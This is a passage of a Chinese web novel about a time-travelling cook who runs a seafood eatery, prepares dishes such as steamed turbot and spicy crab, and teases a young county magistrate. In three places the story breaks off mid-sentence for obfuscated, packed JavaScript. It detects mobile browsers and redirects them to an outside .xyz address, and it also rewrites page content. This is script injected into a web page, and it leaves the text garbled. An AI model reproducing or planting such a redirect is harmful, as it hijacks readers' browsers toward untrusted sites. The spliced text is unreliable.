按捺不住的老李高声喊道：“丫头，再给我上一道酱烧鱼块！” 老李端起海鲜粥喝了一大口，软糯可口，用料丰富，鲜得不行，他一口鱼肉一口粥，搭配着吃，满足又惬意。 和老李有着同样感受的人不在少数，在场但凡尝过云记食肆吃食的人，没有一个不夸的。 18. 清蒸多宝鱼 午时，大堂内传来此起彼伏的喧哗声，钱婶掀开帘子出去查看，不一会儿，兴冲冲地跑回后厨，“楚沅，你猜我瞧见谁了？” 钱婶激动得脸颊通红，腮上的肉都在微微抖动，看她这幅样子，云楚沅还有什么不明白的，除了裴大县令还能有谁？ 对于钱婶这种祖祖辈辈生活在小渔村的平民来说，去过最远的地方是县城，见过最大的官是县令，县令在他们眼中就是天一般的存在，皇帝再怎么高高在上，他们又没见过，自然没什么敬畏之心。 前些年，钱婶到临海县来买粮时，正巧偶遇过外出的老县令，那个阵仗令她永生难忘，提着刀的衙役们骑着一匹匹高头大马，在前方开道，高喊“县太爷出行，闲杂人等避让”。 老县令乘坐在八抬大轿上，轿身雕刻着精美花纹，一个稚童好奇地上前摸了摸，却被身强体壮的轿夫一把推开，啼哭声吵到了县令。 他掀开帘子露出饱经风霜的老脸，表情威严地说道：“冲撞本县令，乃冒犯朝廷命官之罪，本该杖责二十，念在你年幼，本官便从轻发落，赏你一板子吧。” 这话一出，现场鸦雀无声，稚童被家人死死捂住嘴，摁在地上磕头赔罪，衙役领命行事，象征性地打了一下，没下狠手，孩子却也疼的不行。 老县令震慑众人后，满意离去，自此，百姓们将民不与官斗一事深深刻在了骨子里。 钱婶见识过老县令的官威之后，好几日都没敢进城，就怕哪一天不小心冲撞了衙门里的人，被打板子。 原以为当官的，就是那样强横霸道，可裴昱臣的出现打破了临海县百姓对官员的刻板印象，他们体会到了何为心怀苍生、一心为民的好官。 钱婶听说了裴县令怒斩土匪的事迹，就一直想见见这位大家口中清正廉明的新县令。 方才她一出去就和裴县令打了个照面，哎哟，别的不说，就说这新县令的模样那可真是仪表堂堂啊，钱婶活了大半辈子，从未见过如此好看的男子，都说相由心生，这新来的裴县令是个好的！ “钱婶，你也不用和我卖关子了，裴县令就是我请来的。”云楚沅语气淡定说道。 “什么？是小沅你请来的？你和裴县令的关系如此好？”钱婶惊得原地蹦了起来，她还以为裴县令是慕名而来吃饭的呢，没成想是被云楚沅请来的。 钱婶的眼神落在云楚沅的身上一顿，瞧她，只想着裴县令的容貌世间少见，却忘了他们小渔村长得最水灵的女娃了。 楚沅这丫头到县衙做厨娘，她和裴县令年纪相仿又郎才女貌的，莫不是对彼此起了心思吧！ 钱婶一边想入非非，一边试探地问向云楚沅：“咳，云丫头呀，婶子没记错的话，你快十六了吧。” 云楚沅手上的动作一顿，看了钱婶一眼，发现她脸上写满了跃跃欲试，大概猜到了她问这话的意思。 她以前被问到年龄，下一步就会被问结婚了没，云楚沅想不到穿越到古代来，年轻了八岁，还是逃不过被催婚呀。 “我还小，离十六岁的生辰的生辰还早着呢。”云楚沅算了算日子，她已经穿越过来两个月了，原身的生日和她是同一天，正月二十，如今才四月份，还有八个月才十六。 虽然大燕朝女子十五、六岁出嫁是正常现象，但她身为穿越人士，显然不敢苟同。 反正她头上没有长辈，且能自己养活自己，成不成婚，什么时候成婚，还不是由她自己说了算。 “哎哟，那也不小了，婶子和你说，你可得早为自己打算，你没有父母，还带着两个小的，亲事可不好说。” 钱婶对云楚沅推心置腹，自己的女儿婚事坎坷，遭了不少冷眼，因此她才格外关心云楚沅的情况，怕她步了春香的后尘。 殊不知云楚沅对婚事的态度是可有可无，她何其有幸能重活一世，做自己想做的事才不会辜负上天给她的机会，若被世俗拘束，过于在意别人的眼光，岂不是白活了？ “婶子，你看春香姐今日怎么样？”云楚沅将单子上的最后一样菜盛出锅，端着走向钱婶。 两人掀起帘子，瞧着大堂里来回走动的钱春香，她面带笑容，举止大方地向客人介绍菜肴，有客人吃完结账，她还会送出门，这一套行动下来，可见她的业务能力已经相当熟练。 看着得心应手的钱春香，和往日里判若两人的模样，钱婶沉默了，她明白了云楚沅的意思，如今的钱春香仿佛找到了新的人生方向，不再拘泥于嫁人。 “春香姐，油焖大虾好了！”云楚沅喊了一嗓子，将钱春香叫过来上菜。 “裴县令呢？”云楚沅四处看了一圈，没看见大堂里有裴昱臣的身影，这人不会是看她太忙，悄悄走了吧？他应当还没吃饭才对呀。 “裴大人说是来找你的，我把他请到后院坐了，楚河和楚清也跟去了。” 原来如此，云楚沅放下心来，所有客人点的菜都已经上齐了，她也该准备员工餐和裴昱臣的午膳了。 “行，你去送菜吧，我先去后院瞧瞧。” 云楚沅独自往后院走，钱婶则返回后厨刷碗，她已经对裴县令失了兴趣，再怎么好奇也瞧过模样了，也就是英俊了一点、年轻了一点，又没长个三头六臂，她就不去上赶着凑热闹了。 既然云楚沅没有成亲的想法，想必是还没开窍，那她和裴县令也没什么男女之情，想来是自己误会了，钱婶长叹一口气，专心干起了活。 —— “裴大人，等久了吧，实在抱歉。今日开张，客人实在是多，我一直忙到现在，还没来得及做饭，你稍等一会，我马上就做好。” 云楚沅一进到后院，看见坐在石凳上喝茶的俊秀男子，赶忙出声道歉。 裴昱臣将杯中茶水一饮而尽，笑着说道：“不打紧，我在教你的弟弟妹妹认字，不觉得等了很久。” 瞧瞧，这人都饿得直喝水了，肯定是为了宽慰她故意装作不着急的模样，想到这里，云楚沅心下愧疚不已。 “楚河，楚清，你们两个陪一陪县令大人，我去去就回。”云楚沅撂下这句话，转身跑走了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860572|175998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “好的，阿姐！” “知道啦。” 两个孩子趴着石桌上认真学识字，时不时抬头问些问题，裴昱臣耐心地教导他们，成了这两个村里孩子的启蒙老师。 “县令大人，你好聪明哦，听我阿姐说你是今年的新科状元，是第一名的意思吗？”云楚河好奇地问道。 “嗯，你想不想考第一名呀？” 云楚河想了想，不知道第一名有什么用处，是能吃还是能赚银子呀？这么想着，他也把这话问出了口。 童言无忌，裴昱臣并不介意云楚河说的胡话，而是仔细回答他的问题：“第一名是皇帝钦点的，是光宗耀祖、名满天下的大事，可不是能用银子买来的。而且我参加科举做官，不为名利，而是为了实现我的抱负。” “裴大人，那你的抱负是什么？是来临海县做县令吗？” “我来到临海县以前并不知晓这里是何处，但在哪里做官不是做呢，如今把临海县治理好，就是我的抱负。” 裴昱臣来到临海县后，想法与之前有些出入，他本以为在京城做大官才能发挥自身所有才华，向上建言献策，向下推行政令，造福黎民苍生。 如今想来，他先前的看法还太过狭隘，做大官需要钻营、需要权势，倒像是个泥潭，他不想趟浑水，所以远离了那里。 做小官虽无人问津，但却是能办实事的，他的一举一动会直接影响到百姓，因此裴昱臣上任之后并未有一丝一毫的松懈。 “哒哒哒。” 一阵轻快的脚步声由远及近传来，伴随着如黄鹂般清脆的声音，“裴大人，可以用膳了。” 云楚沅和钱婶各端了一个木盘上来，上面摆满了饭菜，除了酱烧鱼块、油焖大虾、炒花蛤这几样店里卖的吃食，她特意做了一道清蒸多宝鱼。 多宝鱼刺少肉嫩，只有一条主刺，使用起来方便。 清蒸鱼做起来十分简单，处理干净的鱼用刀划几刀，放上葱丝姜片上锅蒸半刻钟，出锅后倒掉蒸出的水，淋上豉汁和酱油，最后浇上热油激发出葱姜的香气。 “云姑娘，辛苦了，大家坐下来一起用膳吧。”裴昱臣看着满桌的美食，心痒难耐，他招呼众人一起吃。 钱婶诚惶诚恐：“大人，我怎能与您同坐一张桌子，我回后厨和女儿一同用膳就行。” 裴昱臣见她如此不自在，就叫她先离开，钱婶一溜烟儿地就跑走了。 “楚河，楚清，你们也一起吃吧。” 两个孩子看向云楚沅，见她点头同意，乐呵呵地坐下了。 云楚沅可不讲究那么多规矩，也没有觉得和县令同桌吃饭有什么不对，还热情地招呼道：“裴大人，快尝尝这道清蒸鱼味道如何。” 裴昱臣点头，先尝了她推荐的菜。 这道菜保留了原汁原味，却没有一点腥味，想必处理手法相当不错，吃起来细腻鲜嫩，不同于酱烧鱼重口味的浓郁，清蒸鱼宛如温柔的海风一般拂过舌尖。 “妙极。”裴昱臣言简意赅。 19. 正人君子 裴昱臣正襟危坐，用膳的姿态也是端着的，仿佛是坐在高堂之上断案，气势不减。 他伸出右手，缓缓将宽大的衣袖挽起些许，身上的官服有些影响他的发挥了，失策了，下回来云记食肆应当穿常服。 云楚河吃饭时都要挨着裴昱臣，他对这位县令大人充满好奇。 “裴县令，你是京城人士吗？家住何处？家中几口人呀？” “是的，我家住燕京城西的甜水巷，自小和母亲相依为命，我母亲已于五年前过世了。”裴昱臣不厌其烦地回答云楚河，提到母亲难免有些感伤。 他没见过自己的父亲，母亲也从未提起过父亲姓甚名谁，母亲裴氏靠卖豆腐把他拉扯大，供他读书，只可惜母亲没能看到他功成名就，这是他心中最大的遗憾。 瞧着裴昱臣情绪不佳的样子，云楚沅知道人家是想起伤心事了，她瞪了小弟一眼，说：“赶紧吃饭吧，就你话多。” 云楚河缩了缩脖子，埋头苦吃，不再言语。 裴昱臣瞧见他们姐弟俩的眉眼官司，和煦一笑，“不打紧，楚河这么聪明伶俐，我也喜欢和他说说话。” 云楚河抬起头来，得意洋洋地看向自家长姐，“阿姐，看我多讨人喜欢，裴县令都夸我聪明呢。” 嘿，这小子，给他点颜色他就开染坊。 “得了吧你，裴大人说句客套话，你还当真了？”云楚沅冲他翻了个白眼。 云楚河撅着嘴看向裴昱臣，“裴大哥，你得为我主持公道。” “哟呵，你这臭小子，还挺会套近乎，大哥都喊上了，我同意了吗？我可是家中最有话语权的大人。”云楚沅双手叉腰。 裴昱臣抚了抚额头，对眼前幼稚的两人很无奈，“我已逾二十岁，你们二人都可以唤我大哥，云姑娘我们相识已久，以异性兄妹相称也并无不可。” 云楚沅略感惊讶，看他一副奶油小生的模样，还以为不到十八呢，想不到年纪不小了。 不过即便如此，也比她的真实年龄小三岁，云楚沅心想，小弟弟，你得叫我姐姐！ “裴大哥，你也别叫我云姑娘了，多见外呀，叫我楚沅便好。” 云楚沅心里想的是一回事，嘴上说出来的，又是另一回事，她就算自称姐姐，也没人信呀。 “好，楚沅。”裴昱臣面带微笑，神色自然地接话。 云楚清和云楚河很快用完膳，一前一后跑出去玩了，只留云楚沅和裴昱臣二人待在后院。 筷子再次朝那盘清蒸鱼伸去，男子的动作轻柔而又精准，如同蜻蜓点水一般，夹起了一块嫩鱼肉。 鱼肉送入口中，裴昱臣微微合上双眼，面容上浮现一抹享受之色，他薄唇轻抿，细细咀嚼，像是要将其所有滋味都品尝出来。 和他相比，云楚沅吃饭的姿态就显得过于粗俗，她敞着腿，大刀阔斧地坐着，没个正行，吃起东西来胡吃海塞的，嘴里的鱼肉还没咽下就又塞了只大虾，嘴唇周围油乎乎的一片。 “云姑娘，用膳不要太过着急，要细嚼慢咽，小心噎着。”裴昱臣夹菜的动作一丝不苟，虽不见急促，可他下筷的速度却不慢。 暗暗观察他许久的云楚沅哼笑一声，好你个小书生，看着斯斯文文的，鬼点子真多，叫我吃慢点，是怕抢不过我吧，哼，我偏不如你的意！ 自认为看破裴昱臣小心思的云楚沅，非但没有放慢速度，反而捧起一大碗海鲜粥“吨吨吨”地往下灌，笑话，还没有谁吃饭速度能赢过她呢。 “噗……咳咳咳咳咳！” 乐极生悲，得意洋洋的云楚沅一下子被呛住了，捂住喉咙不停咳嗽，她欲哭无泪地望向小书生，这真是搬起石头砸自己的脚，比速度没赢过小书生，反而整到了自己。 不明真相的裴昱臣看着泪眼盈盈的女子，赶忙放下了碗筷，倾身过来拍打云楚沅的背部，担忧地问：“你没事吧，都说了，叫你小心一点了。” 男子无奈摇头，这姑娘的性子就像是个小孩子，调皮得很，吃饭的时候还要作怪，他收回手，提起茶壶为她倒了杯茶。 云楚沅的目光落在裴昱臣那双骨节分明的大手上，突然开口：“裴大人，男女授受不亲，你怎么能摸我呢？” 反应过来她在说什么的裴昱臣红了俊脸，他不敢回视那双明亮的眼眸，结结巴巴道：“我……我一时情急，没顾上那么多。” 他刻意回避云楚沅火热的视线，将手中的茶杯推至她的面前，轻声道：“你先喝杯茶缓一缓。” 云楚沅似笑非笑地打量着眼前的美男子，回想起了上次在书房发生的事，裴县令在外是铁面无私、清清冷冷的模样，怎么面对她就束手束脚了呢，瞧着还怪清纯呢。 她以前接触过的男人不是豪爽直率，就是花言巧语，男生不说点情话怎么追求女生？这种洁身自好的高岭之花显得格外吸引人。 巧了，云楚沅就好这一口，实不相瞒，她是个俗人，就喜欢看高冷之花被拉下泥潭的剧情。 对面的人儿时不时发出“嗤嗤嗤”的笑声，裴昱臣浑身不自在，他抬头看了一眼，正对上女子饿狼般的眼神，仿佛他是一只被盯上的小绵羊。 倘若有人看到这副性别对调的荒唐画面，保准要被惊掉下巴。 大燕朝比起前朝来说，已是开放了不少，女子能主动提和离，还能抛头露面地外出做生意，可人们根深蒂固的思想不是那么容易被改变的，特别还是在这封闭的临海县，就没有哪家女子会调戏男人的。 云楚沅冲着裴昱臣挑了挑细眉，戏谑一笑，这表情要是换个人来做可能就显得很猥琐，可在她这张圆润白净的小脸上做出搞怪的样子，倒添了几分俏皮。 她右手翘起兰花指，捏着茶杯举了起来，握在掌心中，用大拇指慢慢摩挲着杯沿，递到嘴边轻抿一口。 “咦，这茶水怎么有点甜？我没记错的话，方才裴大人用过此茶盏吧。” “轰”的一下，裴昱臣只觉气血上涌，整个人晕乎乎的。 他如坐针毡，额角毛处细密的汗水，脸色如同熟透的大虾一般，红透了，桌上摆放的那碟油焖大虾就是他此刻的真实写照。 云楚沅煞有其事地说道：“啧啧啧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860573|175998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，裴大人，藏的挺深呀，我都没看出来你有这么多花花肠子！” “什……什么意思？”裴昱臣声若蚊蝇。 云楚沅给了他一个明知故问的眼神，抬起小巧的下巴，轻启红唇，娇声道：“哼，故意把自己用过的茶盏递给我，就是想要暗自表达心意吧。” 云楚沅心里憋笑，嘴上却不依不饶：“你想的真美，我可是要做大事业的女人，岂会被小小的男女之情绊住脚步，奉劝你一句，趁早收起心思，免得受伤。” 她的狂妄之语如同雨点一般“噼里啪啦”砸向裴昱臣，把向来能言善辩的裴县令说蒙了，他的薄唇张张合合，几次想要出声为自己辩解，却不知从何说起。 茶盏这事确实是他的疏忽，方才一时情急，只顾着云楚沅嗓子不舒服，想要给她倒水缓解一下，没有注意到这杯子是他用过的，这才使她误会了。 裴昱臣直到现在都没发现云楚沅是故意逗弄他的，方寸大乱的裴县令失去了平日里的冷静，他还真以为云楚沅误解他了，绞尽脑汁想要解释。 “云姑娘，在下发誓，对你绝无觊觎之心！裴某自诩正人君子，若对姑娘有意，定会三媒六聘娶姑娘过门，绝不会行如此卑劣之事！”裴昱臣的右手竖起三根手指，脸上满是凝重之色。 云楚沅的笑容一下子僵住了，不是吧，小古板这么不经逗？ 她讪讪笑笑，尴尬地低下头，手指绕着耳边的青丝，若无其事地说道：“咳，裴大人，是我误会你了，我相信你的人品，这事是我的错。” 裴昱臣松了一口气：“不，该道歉的是我，我拿错了杯子，才造成了这番误会，我……” “停！”云楚沅一下子伸出手，掌心朝向裴昱臣，停在半空，止住了对方接下来的话。 “裴大人，咱们继续用膳吧。”云楚沅说完，低下头猛猛扒了两口饭，这已经是她第不知道多少次听见某人的道歉了，再听下去，她的耳朵都要起茧子了。 既然云楚沅不想听，裴昱臣自然不会再惹她心烦，也拿起筷子继续用膳。 方才的小插曲并未影响云楚沅，她依然吃嘛嘛香。 反观裴昱臣，心底泛起微微涟漪，宛如平静的湖面被投入一枚小石子，他的视线总是控制不住地落在对面的女子身上，瞧她的发髻上的珠钗愣神。 云楚沅发现裴昱臣无意识地用筷子戳着碗里的饭，不知在想什么，她饶有兴趣地盯着他，直至对方回神。 “为何盯着我看？”裴昱臣不解。 云楚沅笑眯眯道：“裴大人长得这般英俊，还不许人看了？” 裴昱臣蹙起眉头，对她说教了起来：“云姑娘，你此番行径，有失女儿家的矜持，女子不必非要端庄娴静，但不可言行无状，言语更不能如此直白放肆。” 他又语重心长地说道：“这些话你当着我的面说说便也罢了，切忌在外面不要如此行事，否则有损你的声誉。” “好的，裴大人，我只在你面前如此。”云楚沅眨眨眼，她又不是真的小色女，就是逗他玩的，怎么会随便对一个陌生人放浪形骸呢。 20. 香辣蟹和辣章鱼 裴昱臣这顿午膳吃的提心吊胆，生怕云楚沅再蹦出几句叫人应接不暇的戏言，这个小女子跳脱的性子属实令严肃刻板、循规蹈矩的裴县令难以招架。 离开云记食肆时，一阵微风吹过，裴昱臣长叹一口气，他感觉到后背凉飕飕的，原来他的官袍背面早已被冷汗浸透，湿漉漉的一大片。 后院里，云楚沅一边哼着小曲，一边收拾碗筷，钱婶眼神好奇地瞄了她两眼，“丫头，什么喜事叫你这么高兴？” 云楚沅笑意加深：“和县令大人共进午膳，这不是天大的喜事？” 钱婶满脸不信：“得了吧，裴县令走的时候一副满头大汗的样子，你们两人孤男寡女，共处后院，一定发生了什么事。” 不怪钱婶多想，盖因裴县令走时行色匆匆，不小心撞到她都未曾留意。 云楚沅秀眉微挑，右手掐腰，左手扶腮，嗔怪道：“诶，婶子，你可不要污蔑我和裴大人的清白，我这样如花似玉，中意我的男子多了去了，我可要好好挑一挑。” 见她这副没心没肺的样子，钱婶就知道这丫头现下是对裴县令没那个意思，不过要她说呀，世事无常，说不准哪天啊，两人就看对眼了。 “丫头，我倒想知道什么样的男子才能入你的眼。” 云楚沅认真想了想，回道：“我将来的相公要长得俊，有才华，他必须什么都听我的，我叫他往东就绝不往西，最重要的是，不许纳妾。” “楚沅啊，那你恐怕在临海县找不到这样的人选了，单说纳妾这一条，咱们小渔村穷，村民没有闲钱来纳妾，可你瞧瞧临海县有头有脸的人家，哪个不是三妻四妾的？”钱婶摇了摇头，对云楚沅不切实际的想法并不看好。 云楚沅毫不在意，别人纳不纳她管不着，可她未来的夫君不行，“找不到慢慢找，反正我是不会委曲求全的。婶子我问你，倘若钱叔有钱了，想纳妾，你会如何？” “他敢！”钱婶听到这个假设，怒目圆瞪，将手中的抹布用力摔到桌上。 瞧见钱婶这么大的反应，云楚沅捂着肚子笑个不行，“哈哈哈，婶子，你又何尝不是这样善妒呢？” 上回在钱家见到沉默寡言的钱叔，云楚沅就看出他是个妻管严来了，钱婶呵斥一声，他立马就怂了，这样女强男弱的家庭，大事小事自然全由女主人说了算。 怒气冲冲的钱婶对上云楚沅戏谑的眼神，立刻哑火了，她尴尬地捡起抹布继续擦桌子。 “咳，你这促狭丫头，还会打趣婶子我了！不是我吹，老钱家没有我哪有今天。当初我嫁进来的那一年，刚生完孩子，你钱叔腿受伤了干不了活，他爹娘身体也不好，我忙里忙外照顾一家老小，十里八乡都找不出像我这么好的媳妇。” 钱婶忆起往昔的苦日子，唏嘘不已，钱家没有她能有今日吗？她伺候公婆，为他们养老送终，又给老钱生了两个孩子，家里打理得井井有条，老钱要是相中别的女子，那真是丧良心！ “婶子，我当然能理解你了，我以后也是要赚钱养家的，怎么可能找个朝三暮四的男人，那不是给自己添堵嘛。” “呃，这么一想，你说的有道理，以你的能力完全可以招赘。”钱婶被说服了，甚至开始为云楚沅出谋划策起来。 “小沅啊，以后找男人你可要擦亮眼，我听说西街有家卖点心的小娘子，嫁的男人不让她出来做生意，天天窝在家里带孩子呢，你可要引以为戒！招赘就挺好的，你家这门手艺不是传女不传男吗？你可以生个女儿跟你姓，以后把生意交给她。” 云楚沅哭笑不得，没想到她先前随口胡诌的话，让钱婶记到现在。 但招赘这事得慎重，以她对这个重男轻女的封建社会的了解，选择入赘的大多是凤凰男，她可不会挑个渣滓来给自己添堵。 “婶子，以后的事哪能说的准，我现在只想好好经营云记食肆，把小弟和小妹养大。”这两件事是云楚沅最在意的，至于两情相悦之人，有了蛮好，没有也不可惜。 午时已过，云记食肆也没什么客人，云楚沅坐在柜台后算账，忙碌了一个时辰，赚了二两银子。 这个收入算是很高了，其中有新店开张搞活动的缘故，也有裴昱臣的名人效应带来的热度，当然，最重要的原因还是她的厨艺惊艳四座。 趁着没有食客，云楚沅到后厨研究起了新菜式，为了尽快赚钱还债，匆忙开业，准备不足，菜单上的菜品都是她前段时日做过的，种类不多，她想添两样辣菜，却不知临海县人能否接受。 香辣蟹和辣炒章鱼是云楚沅定好的新菜，她打算做出来让钱婶和钱春香品评一下。 清晨阿汤哥来送货时，除了鱼虾、花蛤和海蛎子，还给云楚沅带了一筐梭子蟹和八爪鱼，是他昨日赶海的收获。 梭子蟹对半切开后，里面的蟹黄满满当当，颜色是鲜亮的橘黄色，像是半凝固的油脂一样柔软湿润，云楚沅吸了吸口水，这蟹可真肥！ 螃蟹的切口处裹上淀粉，用来锁住蟹黄，切口朝下放入油中炸至定型。 接着准备香辣底料，姜蒜、豆酱、茱萸和花椒，热油爆香，炒出红油后放梭子蟹，加点黄酒去去腥，再加酱油、生抽和糖调味翻炒。 这股香香辣辣的味道飘到了大堂，钱婶、钱春香、云楚河和云楚清，在后厨门口张望。 “阿姐，你又做什么好吃的了？我刚吃完午膳，现在肚子鼓鼓的，吃不下。”云楚河摸摸肚子，语气充满遗憾。 “云丫头，这是什么味道，好独特呀，闻着竟还有些呛人。”钱婶深吸两口气，试图分析出其来源。 “这道香辣蟹加了茱萸。”云楚沅将盛好的菜展示给他们看，“要尝尝吗？我准备把它加入菜单中。” 一听这话，钱春香立马表示要尝一尝，她如今可是负责接待客人的，对菜品自然要如数家珍，每一道都要精准了解。 钱春香上手拿起半只螃蟹，轻咬一口。 蟹肉饱满，外壳酥脆，这无疑是她有生以来吃过最好吃的螃蟹了。 渔民们不太爱吃螃蟹，觉得它肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860574|175998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少还不好剥壳，有时候赶海遇到了都懒得捡，而且做法也相当简单，上锅蒸熟就行。 可这样的食材落在云楚沅的手中，简直是化腐朽为神奇，钱春香对这位邻家小妹简直佩服得五体投地，“小沅，你可真厉害！” 看钱春香吃得香，其他人也蠢蠢欲动起来。 钱婶搓了搓手，笑着说：“楚沅啊，虽然我很少吃茱萸，但我可以帮你尝尝新菜的味道如何。” “阿姐，小螃蟹肉那么少，我还能吃的下！”云楚河挺胸收腹，将小肚子吸了进去。 云楚清表情无辜地眨眨眼，撅起小嘴：“阿姐，我午时没吃饱。” 这三人这么积极帮她试菜，云楚沅自然不会拒绝，担心他们吃不了辣，云楚沅特意一人只给了半只，可她显然低估了美食的诱惑力。 “嘶，楚沅，我再尝尝，刚才没尝出啥味来。” “哈，好辣好辣，可我还想吃！” “阿姐，我……我还没吃饱。” 瞧着三人如出一辙的红嘴唇，云楚沅掩嘴笑道：“行了，既然你们喜欢吃，这些都给你们吧。” 说罢，她将盘子递到三人面前，又转头看向笑而不语的钱春香，问道：“春香姐，味道如何？你有什么建议吗？” “这香辣蟹的味道自是不用说，我就是担心有人吃不了辣。” 云楚沅也考虑过这个问题，可千人千味，食无定味，有人喜爱自然就有人不喜，但这完全不影响把辣菜加到菜单上，接受不了的人完全可以不点这道菜。 “这样吧，春香姐，你在菜单上写上香辣蟹后，画一团火的标识，提醒食客们这道菜是辣的，以后再添别的辣菜，你可以根据辣度画不同数量的火焰。” “好，客人点菜时，我也会提醒他们的。”钱春香应下后，出去改菜单了。 云楚沅刷锅后，开始做第二道菜，辣炒章鱼。 八爪鱼要仔细处理，除了去掉墨囊和牙齿外，还要浸泡揉搓掉粘液和吸盘里的泥沙。 焯过水的八爪鱼切成小段，用姜蒜和茱萸当佐料爆炒，调味后加入洋葱和韭菜做配菜，值得注意的是，炒八爪鱼的时间不能过长，这样容易使其口感变硬。 钱婶他们吃完香辣蟹，没想到还有下一道菜，鲜辣弹牙的口感，和香辣蟹相比又是一种截然不同的美味。 “嗝，太好吃了，根本停不下来！” 三人最后吃了个肚儿溜圆，扶着墙走出了后厨。 申时三刻，来吃饭的食客没有午时多，可香辣蟹和辣炒章鱼的出现引起了众人的骚动。 “辣菜，这倒新奇，临海县的食肆酒楼很少有卖的呀。” “正合我意，老子就好这一口辣！” “店丫头，你们家的香辣蟹辣到什么程度啊，我不太能吃辣，可旁边的大哥吃得实在太香了，我也想来一份。” 辣菜的受欢迎程度超过了云楚沅的预期，食客们纷纷大快朵颐，满头大汗也不停下，一边灌水一边吃，可见味道相当不错。 21. 海鲜蛋炒饭 首日营业，圆满结束，云楚沅带着小弟和小妹一起回到了县衙，一进正门就碰上了青竹。 “云姑娘回来啦？我们大人刚下值，正在后花园练剑呢，大人叫我出来看看你回来了没。” “我这就去准备晚膳，楚河、楚清，你们先回房吧。” “我不想回，青竹哥哥，我能去看裴大人练剑吗？” 云楚沅点点云楚河的脑袋，故作不满道：“裴大哥，裴大哥，这一整天你都挂在嘴边，你裴大哥有什么好的？叫你这样念念不忘，看来我这个长姐在你心中的地位，都得排在他后面了。” 云楚河吐了吐舌头，嬉笑着说：“我当然是和阿姐你最亲近，可我闲着也是闲着，想去找裴大哥玩嘛~阿姐你就允我去吧！” 小弟对裴昱臣的热情，云楚沅自然能够感受到，裴昱臣简直就是他的偶像，不过裴县令才貌双全、怀瑾握瑜、人中龙凤，勉强能当她小弟的偶像。 以前小弟只崇拜厨艺精湛的长姐，如今又多了一个裴昱臣，虽然云楚沅有点吃味，但不得不承认，裴昱臣确实优秀。 “行行行！你去吧，顺便叫你裴大哥教你两招！” “哇哦，阿姐你最好了！” 云楚沅翻了个白眼：“哼，同意你去找裴大哥我就好了？果然，他更重要吧！” “嘿嘿，阿姐，你最重要。”云楚河将脸贴近云楚沅的手背，讨好地蹭了蹭。 旁边看了许久的青竹，在听见云楚河对裴县令的称呼时，就意识到自家大人和云家人关系匪浅，想必这种小要求裴大人不会拒绝。 “那你随我来。”青竹牵着云楚河的手离开。 云楚沅将小妹送回西院后，独自一人来到了膳房，朱师傅正在灶台前忙着做府上众人的晚膳。 “朱师傅，做什么吃食呢？闻着真香。” 人未至，声先至，朱师傅一听，就知来者何人。 “哎哟，云姑娘你可真是抬举我了，我哪里比得上你的手艺？”朱师傅满面笑容地迎了出来。 自从上回吃过云楚沅做的米线后，朱师傅就被她折服了，偶尔还会向她请教调味方面的问题，当然朱师傅很有分寸，从来不会询问涉及到吃食配方的事。 毕竟他也是手艺人，明白这种传承的手艺，是不能轻易向外人透露的，只有拜师之后才能学。 云楚沅也很满意朱师傅的识趣，平日里也愿意指点他两下。 “朱师傅，你这道炒饭做的尚可，就是火候掌控差了点。”云楚沅盛了一口锅中的蛋炒饭尝了尝。 “哦？愿闻其详”朱师傅来了兴趣，这简简单单的一道炒饭难不成还能做出花来吗？ “这样吧，今日晚膳我也做一道炒饭，给你亮一手！” “那感情好。”朱师傅激动得双手一拍，十分上道地为她打起了下手，又是盛米饭，又是敲鸡蛋的，把伙夫们该做的事都抢着干了。 云楚沅戴上自制的围裙，挽起袖子，将长长的秀发用一块碎花布包起来，站在灶台前整装待发，准备大显身手一番。 她准备做一份豪华版的海鲜蛋炒饭，特意叫朱师傅准备好虾仁和鱿鱼圈。 “做炒饭有三个秘诀，米饭的处理，翻炒的技巧以及火候的掌控。” “首先，这米饭最好用凉透的，那样的米饭水分少更容易分散，炒好的米才会不黏在一起，而是一粒一粒的。” 云楚沅放下热腾腾的米饭，掀开另一个木桶，那是午时剩的米饭，准备分给下人吃的。 “这样的米就正合适。” 朱师傅受教了，他以往做炒饭都是用现蒸的米饭，谁会想到给主家用剩饭做菜呢？ 云楚沅将朱师傅打好的蛋液拌入米饭，重新敲了个鸡蛋，加了点盐和水进去，快速打散。 “蛋液加入少许水，会使其更蓬松，加盐便是提前调味，令鸡蛋的咸味分布均匀，而裹上蛋液的米饭炒出来金灿灿的，色泽更漂亮。” “原来光这蛋液的调配就有如此多的讲究啊。”朱师傅将云楚沅的话全都记下，这可都是人家的经验之谈啊，细节如此之多，怪不得做出来的膳食非比寻常。 